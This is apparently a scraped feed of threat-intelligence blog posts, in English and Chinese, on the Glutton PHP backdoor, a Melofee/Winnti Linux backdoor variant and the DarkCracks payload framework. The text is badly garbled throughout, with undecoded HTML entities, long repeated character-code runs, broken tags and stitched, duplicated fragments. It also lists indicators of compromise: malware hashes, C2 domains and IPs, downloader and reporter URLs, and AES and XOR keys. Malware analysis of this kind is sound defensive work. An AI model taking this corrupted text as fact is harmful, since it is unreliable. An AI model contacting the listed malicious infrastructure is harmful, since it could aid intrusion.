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             MD5</strong></h4>  <thead>  <strong>URL</strong> <strong>MD5</strong>
```

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<code>init_task</code>, retaining all of its core functionalities while introducing notable changes in code organization and additional features.
features.
features.
code>pThe first significant change lies in the <code>php_modify</pr>
/pode> task, where the <code>l0ader</code> function&apos;s code is now obfuscated, unlike its straightforward implementation in <code>init_task</code>.
code>init_task</code>.
code>loading="lazy">code> The obfuscation adds a layer of complexity, making reverse-engineering more challenging for defenders.
complexity, making reverse-engineering more challenging for defenders.
code>pThe core functionality of the <code>l0ader</code>
function remains unchanged; however, the network infrastructure used for communication has been updated.
cote = code> code> (the <code>) the <code> (the <code>) the <code> (the <code>) the <code>) the <code>) the <code> (the <code>) the <code>) the <code>) the <code>) the <code>) the <code> (the <code>) the 
               VITUATORAL) is also part of Glutton&x2019; sinfrastructure.
xp>ximg src="https://blog.xlab.qianxin.com/content/images/2024/12/php_ang.png"
alt="php_ang.png" loading="lazy">
yp>This suggests that Glutton' soperators maintain a wider network of assests than initially
detected, enabling them to extend their campaign reach.
yp>ximg src="https://blog.xlab.qianxin.com/content/images/2024/12/php_lackbrowserdata">https://blog.xlab.qianxin.com/content/images/2024/12/php_lackbrowserpata
yp>ximg src="https://blog.xlab.qianxin.com/content/images/2024/12/php_lackbrowser.png" loading="lazy">
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4914b8e63f431fc65664c2a7beb7ecd5 - v20_l0ader_shelt 6b5a58d7b82a57cddcd4e43630bb6542 - modify_php ba95fce092d48ba8c3ee8456ee4570e4 - hack-
browser-data-darwin-arm64 ac290ca4b5d9bab434594b08e0883fc5 - winnti backdoor </code> <n2 id="c2">C2</h2> <code>c.thinkphp1[.]com
156.251.163[.]120 </code> <nde><h2 id="downloader">Downloader</h2> <code>IP 172.247.127.210 URL v6.thinkphp1[.]com/php?
v20.thinkphp1[.]com/v20/init? v20.thinkphp1[.]com/v20/fetch? Reporter udp://jklwang.com:9999 udp://{v6|v20}.thinkphp1[.]com:9988
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                    <![CDATA[ <h1 id="%E7%AE%80%E4%BB%8B">&#x7B80;&#x4ECB;</h1> 2024&#x5E74;4&#x6708;29&#x65E5;&#xFF0C;XLab
大网威胁感知系统捕获一起异常活动:IP
172.247,127.210 正在传播 ELF 版本的 winnti 后门木马。<strong>APT
                    相关告</strong> ]]>
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        大网威胁感知系统捕获一起异常活动:IP
       172.247.127.210 正在传播 ELF 版本的 winnti 后门木马。<strong>APT &#x76F8;&#x5173;&#x544A;&#x8B66;
        </strong>&#x7684;&#x51FA;&#x73B0;&#x8FC5;&#x901F;&#x5F15;&#x8D77;&#x4E86;&#x6211;&#x4EEC;&#x7684;&#x6CE8;&#x610F;&#x3002;&#x8FDB;&#x4E00;&#x6B6
       IP 曾于2023年12月20日传播一个VirusTotal
0检测的恶意PHP文件<code>init task.txt</code>
        ,这一线索了重軬后续纄调查提供了重&#x8981
       %/p> %#x4EE5; init_task
为线索,我们进一步发现了一系列关联&#x7684
        PHP payload,包括
       task_loader、init_task_win32、client_loader、client_task、fetch_task、l0ader_shell
等。这些 payload
的设计灵活,既可以单独运譌,也可以&#x901A
        task_loader 作为入口,逐步加载其他
payload,形成一个中中的攻击框架。框架中的
       pay toadd#xFF0C;d#x5F0Z;d#x6210;d#x4E20;d#x6510;d#x4E2D;d#x6514;d#x50518;d#x51FB;d#x6840;d#x670F;d#x3002;d#x6840;d#x6780;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x780B;d#x81F3;d#x60BB;d#x6F0C;d#x81F3;d#x60BB;d#x6F0C;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4ED0;d#x4E
        PHP
       ....
文件,植入l0ader_shell的特性,我们将它命名为
Glutton,该木马的核心功能包括: 
        <\i>\&\pi x4FE1; \&\pi x606F; \&\pi x7A83; \&\pi x53D6; 
        <\1:>&#x4E3B;&#x673A;&#x4FE1;&#x606F;&#xFF0C;&#x5305;&#x62EC;&#x64CD;&#x4F5C;&#x7CFB;&#x7EDF;&#x7248;&#x672C;&#x3001;PHP&#x7248;&#x672C;&#x7B49;
        <\i>\\\+\x\-5890;\&\+\x\-5854;\&\+\x\-634F;\&\+\x\-611F;\&\+\x\-4F81;\&\+\x\-606F;\&\+\x\-F80C;\&\+\x\-4F8B;\&\+\x\-5982;\&\+\x\-7528;\&\+\x\-6237;\&\+\x\-51ED;\&\+\x\-636E;\&\+\x\-3001;\&\+\x\-784B1;\&\+\x\-7406;\&\+\x\-6385;\&\+\x\-7528;\&\+\x\-7528;\&\+\x\-6237;\&\+\x\-51ED;\&\+\x\-6386;\&\+\x\-3001;\&\+\x\-784B1;\&\+\x\-7406;\&\+\x\-6385;\&\+\x\-7528;\&\+\x\-7528;\&\+\x\-6237;\&\+\x\-51ED;\&\+\x\-6386;\&\+\x\-3001;\&\+\x\-784B1;\&\+\x\-7406;\&\+\x\-6385;\&\+\x\-7528;\&\+\x\-7528;\&\+\x\-6237;\&\+\x\-51ED;\&\+\x\-6386;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\-784B1;\&\+\x\

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            (c)

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       %#x7F51;络通信缺乏帻帻񞎿񞎿议过于基础非常&#x5BB9

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HTTPS:HTTP通信非帻容易被拦ت或监控。
Li>PHP

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        <\i>\&x57FA;&x7840;&x8BBE;&x65BD;&x7684;&x683A;&x693P;&x50P;&x57A;&x4E0D;&x5F3A;&x5F1A;&x6D3B;&x52A8;&x52A8;&x565B;&x5165;&x7684;&x57DF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF;&x57AF
       <strong>&#x7F51;&#x7EDC;&#x8BC8;&#x9A97;&#x5E38;&#x7528;&#x7684;&#x5237;&#x5355;&#x62A2;&#x5355;
</strong>&#x7CFB;&#x7EDF;&#xFF0C;&#x6076;&#x610F;&#x4EE3;&#x7801;
<strong>loader_shell</strong>&#x4F4D;&#x4E8E;thinkphp&#x6846;&#x67B6;&#x4E2D;&#x7684;APP.php&#x3002; <img</pre>
       <strong>l0ader_shell</strong>&#x4F40;&#x4E8E;thinkphp&#x6846;&#x67B6;&#x4F2D;&#x7684;APP.php&#x3002; simg
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_thinkapp.png" alt="php_thinkapp.png" loading="lazy">
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</blockquote> </final id="glutton%E5%88%86%E6%9E%90">Glutton&#x5206;&#x6790;</h1>
&#x6211;&#x4EEC;&#x76EE;&#x524D;&#x6355;&#x83B7;&#x4E86;&#x591A;&#x4E2A;Glutton&#x7EC4;&#x4EF6;&#xFF0C;&#x5305;&#x62EC;
<code>task\_loader</code>&#x3001;<code>init\_task</code>&#x3001;<code>client\_loader</code>&#x3001;<code>client\_task</code>&#x3001;</pr>

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<code>fetch_task</code> &#x548C; <code>l0ader_shell</code>&#xFF08;&#x6CE8;&#xFF1A;client_loader&#x3001;client_task &#x548C; fetch_task
  等名称为我们根据其功能命名)。这些&#x6587
  3000
  行代码,均未进行任何加密或混淆,功&#x80FD
$\&\text{884C};\partial \text{$\partial \text{
  漏洞和弱口令入侵澹式外,还可能通鿇&#x9ED1
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   <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_brief.png" alt="php_brief.png" loading="lazy">
&#x8BBE;&#x5907;&#x611F;&#x67D3;Glutton&#x540E;&#x6709;&#x4EE5;&#x4E0B;&#x8FF9;&#x8C61; 
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 decode + raw inflate即可还原。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_findall.png" alt="php_findall" loading="lazy"> <strong>do_modify</strong>
client_loader实际上是init_task的重构版本,它支持init_task&#x62
cbr>
第丠大变化是php_modify,它的10ader函数的丣码&#x5F00

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  client_task的 主 要 任 &#x52Ā1; 有 俩 个 : 1是 启 动 PHP后 门 木 &#x9A
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         pong。以UDP通信为例,可以很清晰的看出"ping —
         pong - login -cmd
         heartbeat"的交互过程。网络通信报文的第一&#x4E2  <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_packet.png" alt="php_packet" loading="lazy"> <op>login&#x6307;&#x4EE4;&#x4E2D;&#x7684;&#x6570;&#x636E;&#x8BE5;&#x5982;&#x4F55;&#x89E3;&#x6790;&#x5462;&#xF1F;0xf1&#x8868;&#x793A;&#x538B;&#x
         host_os, host_name, host_cwd等信息。 <ing
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_login.png" alt="php_login" loading="lazy"> <h2 id="0x2-fetchtask">0x2
Fetch_task</h2> Fetch_task&#x6BCF;&#x5C0F;&#x65F6;&#x6267;&#x884C;&#x4E00;&#x6B21;&#xFF0C;&#x5411;&#x8FDC;&#x7A0B;&#x670D;&#x52A1;&#x56868;
       Fetch_task
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        还 展 玸 了 对 " 黑 方 " 浓 厚 的 兴 趣 , 其 作 &#x8005

         <strong>&#x7A83;&#x53D6;&#x9ED1;&#x7070;&#x4EA7;&#x53D1;&#x8D77;&#x8005;&#x7684;&#x9AD8;&#x4EF7;&#x503C;&#x654F;&#x611F;&#x4FE1;&#x606F;

         <strong>&#x6536;&#x96C6;&#x9ED1;&#x7070;&#x4EA7;&#x53C2;&#x4E0E;&#x8005;&#x7684;&#x654F;&#x611F;&#x6570;&#x636E;&#xFF0C;&#x4E3A;&#x540E;&#x7EED
         </strong>&#x3002;  &#x6211;&#x4EEC;&#x5EFA;&#x8BAE;&#x7F51;&#x7EDC;&#x7BA1;&#x7406;&#x5458;&#x5BF9; PHP
&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x5168;&#x9762;&#x6392;&#x67E5;&#xFF0C;&#x5E76;&#x6839;&#x636E;&#x524D;&#x6587;&#x63CF;&#x8FF0;&#x7684;
         <strong>Glutton</strong>
         %#x8844;为特征,判断系统是否受到感染,以&#x53CA   񮐅理PHP中的l0ader_shell 后门程程程,以及php后门程
         Access)仍不清清晰。我们欢迎有相关情报的友&<strong>Glutton</strong>
         的 技 战 术 矩 阵 及 归 属 分 析 , 共 同 维 护 网 &#x7EDC
         <#x5982;&#x679C;&#x60A8;&#x5BF9;&#x6211;&#x4EEC;&#x7684;&#x7814;&#x7A76;&#x611F;&#x5174;&#x8DA3;&#xFF0C;&#x6B22;&#x8FCE;&#x901A;&#x8FC7; <a</p>
        ctient_toader obed3eC322adu9Cc41do0ceD1e1217 - Ctient_toader 18Cd32Cb0336dad1530b6637aCd8328d - Ctient_tdask 00C3468673e4D3e72d1CCC3da1f177e4 - v11_l0ader_shell 4914b8e63f431fc65664c2a7beb7ecd5 - v20_l0ader_shell 6b5a58d7b82a57cddcd4e43630bb6542 - modify_php ba95fce092d48ba8c3ee8456ee4570e4 - hack-browser-data-darwin-arm64 ac290ca4b5d9bab434594b08e0883fc5 - winnti backdoor </code> <h2 id="c2">C2</h2> <code>c.thinkphp1[.]com 156.251.163[.]120 </code> <h2 id="downloader">Downloader /pre> <code>code>c.thinkphp1[.]com/v20/init? v20.thinkphp1[.]com/v20/fetch? </code> <h2 id="reporter">Reporter <code>udp://jklwang.com:9999 udp://{v6|v20}.thinkphp1[.]com/save http://{v6|v20}.thinkphp1[.]com/save http://v6.thinkphp1[.]com/client/bt </code> ]]>
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detected an ELF file named <em>pskt</em> from IP address 45.92.156.166. Currently undetected on VirusTotal, the file triggered two alerts: an
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<![CDATA[ <h 1 id="background">Background</h 1> On July 27, 2024, <code>XLab&apos;s Cyber Threat Insight and Analysis System(CTIA)</code>
detected an ELF file named <em>pskt</em> from IP address 45.92.156.166. Currently undetected on VirusTotal, the file triggered two alerts: an Overlay section and a communication domain mimicking Microsoft. Our analysis identified it as a Melofee backdoor variant, specifically targeting Red Hat Enterprise Linux (RHEL) 7.9. Melofee, a C++ backdoor, enables data collection, process management, file handling, and shell access. Originally <a href="https://blog.exatrack.com/melofee/?ref=blog.xlab.qianxin.com">exposed by ExaTrack</a> in March 2023 and attributed to the <strong>APT group Winnti</strong>, this latest variant has notable upgrades. Structurally, it embeds an RC4-encrypted kernel driver to mask traces of files, processes, and network connections. Functionally, it adds improvements in persistence, single—instance control, and function ID design. Acsording to Passive DNS (PDNS) records, this C2&apos;s Run-Time Type Information (RTTI), we observed source-level modifications. For instance, the network connection class name has changed from <code>TLSSocket</code> in earlier samples to <code>TlsConn</code> in this variant, suggesting ongoing reconstruction and use of Melofee beyond the security community&apos;s radar.
According to Passive DNS (PDNS) records, this C2&apos;s second-level domain, <code>micrsofts-file.com</code> and its associated domain, <code>www.micrsofts-file.com</code> resolved to IP address <code>91.195.240.123
```

```
cross-group tool rather than being exclusive to a single group?
cross-group tool rather than being exclusive to a single group?
cas a parking IP provided by domain registrar NameSilo .strong-labeling it as malicious likely constitutes a false positive
strong-handled
<p
      configuration
configurat
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文件,它在 VirusTotal
  上尚无检测。该样本触发了两条告警:&#x6587
  0verlav
  区段,且通信域名疑似模仿微软。经过&#x5206
 Red Hat Enterprise Linux (RHEL) 7.9 的 Melofee 后门木马变种。 Melofee 是一个用 C++
  编写的后门木马,支持信息收集、进程程
 SHELL 等功能,最旹于 2023 彴 3 月被 <a href="https://blog.exatrack.com/melofee/?ref=blog.xlab.qianxin.com">ExaTrack &#x62AB;&#x9732;</a><a href="https://blog.exatrack.com/melofee/?ref=blog.xlab.qianxin.com">ExaTrack &#x62AB;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x7620;&#x762
  Winnti-/strong-。此次捕获的样本相比旧版本在文件
  RC4
 %#x52A0;密的内核级驱动模块,专门用于隐藏&#x6D3B 通过比较样本中的
 RTTI( 运 行 时 看 型 仡 息 ＀ 甚 至 可 以 看 到 源 &#x < code>TLSSocket-/code>&#xFF0C; &#x808C; &#x672C; &#x6B21; &#x6837; &#x672C; &#x7684; &#x7C7B; &#x540D; &#x5DF2; &#x66F4; &#x6539; &#x4E3A; < code>TLSConn</code>&#xFF0C; &#x8FD9; &#x6697; &#x793A; Melofee
  可能在安全社区的监测之外被持续重构&#x548C
  <#x53D1;&#x5F97;&#x6E8;&#x610F;&#x7684;&#x662F;&#xF6C;&#x56211;&#x4EEC;&#x5728;&#x6EAF;&#x6E90;&#x8FC7;&#x7A0B;&#x4E2D;&#x8FD8;&#x53D1;&#x7</p>
 上,它ן被多宆安全喂商标记为恶意。&#x8FD9
 %#x5B9E;%#x9645;%#x4E00;%#x662F;%#x57DF;%#x540D;%#x6CE8;%#x518C;%#x5546; NameSilo %#x63D0;%#x4F9B;%#x7684; Parking IP,
<strong>%#x6211;%#x4EEC;%#x8BA4;%#x4E3A;%#x5C06;%#x5176;%#x6807;%#x8BB0;%#x4E3A;%#x6076;%#x610F;%#x5C5E;%#x4E8E;%#x8BEF;%#x62A5;
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IP&#xFF0C;&#x56E0;&#x6B64;&#xFF0C;&#x6B63;&#x55DF;&#x540D;&#x540D;&#x3001;&#x4E0D;&#x76F8;&#x5173;&#x7684;&#x6076;&#x610F;&#x57DF;&#x540D;&#x540D;&#x538FC;&#x81F4;&#x8BEF;&#x5173;&#x7684;&#x6076;&#x5173;&#x540D;&#x540D;&#x538FC;&#x540D;&#x5173;&#x603B;&#x52A8;&#x53EF;&#x6027;&#x5173;&#x4EAB;&#x6064; IP&#xFF0C;&#x5BFC;&#x81F4;&#x8BEF;&#x58FC;&#x6027;&#x7684;&#x5173;&#x8054;&#x3002;
  服务器,建立通信,等待接收和执行服&#x52A1

   <\l> <\l> <\li>strong>hide</strong>&#xFF1A;&#x542F;&#x7528;&#x9A71;&#x52A8;&#x7684;&#x9690;&#x85CF;&#x529F;&#x80FD;&#x3002; <\li><strong>show</strong>&#xFF1A;&#x5173;&#x95ED;&#x9A71;&#x52A8;&#x7684;&#x9690;&#x85CF;&#x529F;&#x80FD;&#x3002; <\li>
  <strong>kill</strong>&#xFF1A;&#x505C;&#x6B62;&#x8FDB;&#x7A0B;&#x3002;  
  这种设计使得Melofee可以在感染和管理两种&#x6A
 Melofee
  的技术细节,重点包括解密过程、驱动&#x6A21
 部分存储。 

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| Sp-Garder | Sp-Care | Sp
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 <img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_vm.png" alt="klove_vm.png" loading="lazy"> Melofee
&#x5728;&#x5B89;&#x88C5;&#x9A71;&#x52A8;&#x6A21;&#x5757;&#x540E;&#xFF0C;&#x4F1A;&#x89E3;&#x5BC6; C2
          配置并建立通信,等待接收指令并执行&#x3002
          ExaTrack
          分析报告中的描述基本一致,但在功能&#x53F7
        <#x6211; &#x4EEC; &#x6B22; &#x8FCE; &#x8BFB; &#x8005; &#x63D0; &#x4F9B; &#x65B0; &#x7684; &#x89C1; &#x89E3; &#x548C; &#x60C5; &#x62A5; &#x3002; &#x5982; &#x684; &#x89C1; & *x60C5; 
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         sophisticated malicious payload delivery and upgrade framework, which we have named <strong>DarkCracks</strong>. This framework is characterized by its zero detection rate on VirusTotal, high persistence, stealth, and a well-designed upgrade mechanism, leveraging high-
          performance, stable online infrastructure ]]>

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code>XLab&apos;s
cyber Threat Insight and Analysis system(CTIA)
cyber Threat Insight and Analysis system(CTIA)
cyber This file we have mapeed out its payload delivery and upgrade framework, the high level of stealth employed by DarkCracks has left us with limited visibility into its Launcher component as of now.
cy>However, on August 26th, we observed a new password-protected PDF file named &quot; resume&quot; being added to the github repository. This file was later renamed to the Korean name <code>Aquot; &#xAE40; &#xC601; &#xBBF8; &#xC774; &#xB855; &#xC111; &quot; (Kim Young-mi&apos;s
resume)
code>. Given the commonality of this Korean name, we strongly suspect that part of this component&#x2019; s functionality involves social engineering activities targeting Korean-speaking users
cyp>DarkCracks exploits component&#x2019; s functionality
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Within our monitoring scope, targeted entities include public service systems across different countries, such as strong-school websites, public transportation systems, and even prison visitor systems/strongs-/sp- philid="discovery-journey">discovery-journey\*-Discovery-journey-journ

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have compiled the following timeline of DarkfracksSapon; activities, "Please note that this is only based on our current intelligence, and markfracksSapon; actual activities may have started earlier, "please note that this is only based on our current intelligence, and markfracksSapon; actual activities may have started earlier, "please note that the please started earlier, "please the please of the pleas
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confirmed that <code>version.dll</code> is malicious. Its function is to use the AES algorithm to decrypt a binary resource, which ultimately yields a shellcode. This shellcode loads a payload that is an open-source remote control trojan, QuasarRAT. The AES key is <code>FCFF50FB13B09C44F806CF4947381718</code>, and the IV is <code>ZDD695D6845AA9F83F0071B709D78CBD</code>. In addition to AES, XOR encryption is used to decrypt strings, with the XOR key being <code>quackquack</code>. Currently, the <code>ftMQPwsMnB</code> project has five commit records. Although the MD5 hash of <code>version.dll</code> varies with each commit, there are actually only three different core binaries.  Although the MD5 hash of <code>version.dll</code> Although the Alth
              is used to decrypt strings, with the XMR key being *Code-quackquack/Codes**c/p** spring file** (codes**rains**) with each consult, there are actually only three different consumers and included and in
                     #10/482181991525046510a4091619061 **se3hf6jwc-mipsel-uclibc.decrypted Bloccocc10368aa54cfed371f83da45a **se3hf6jwc-x64
fe5f484f71bf0fd7afa56e60da7eec6f **se3hf6jwc-x64.decrypted 08169e20daaad052075bd4026c8e287f **se3hf6jwc-x64-musl 2caf09452e79390f09bebf27dad9acf4
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http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php https://www.miracles.com.hk/wp-content/plugins/foxiplugin/detail.php
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202408
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                        <code>https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B&apos;option&apos;:&apos;Hex&apos;string&apos;:&apos;2D%208C%207F%20EE%204
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 ▼<title>
                     <![CDATA[ DarkCracks, 一个利用被黑GLPI, WORDPRESS站点充当中转的高级恶意载荷&升级框架 ]]>
                        <![CDATA[ <h1 id="%E6%91%98%E8%A6%81">&#x6458;&#x8981;</h1>
                         我 们 的 XLab大 网 威 胁 感 &#x7TE5; 系 统 最 近 捕 获 了 一
```

高持续、高隐匿、高完善Շ级设计、并&#x5229

0检测,

```
</description>
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▼<category>
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√ < category;
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  </dc:creator>
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    %#x4E00;丢Ԣ用讫黑GLPI,
WORDPRESS站点充Փ中转的高级恶意载荷&升级框&
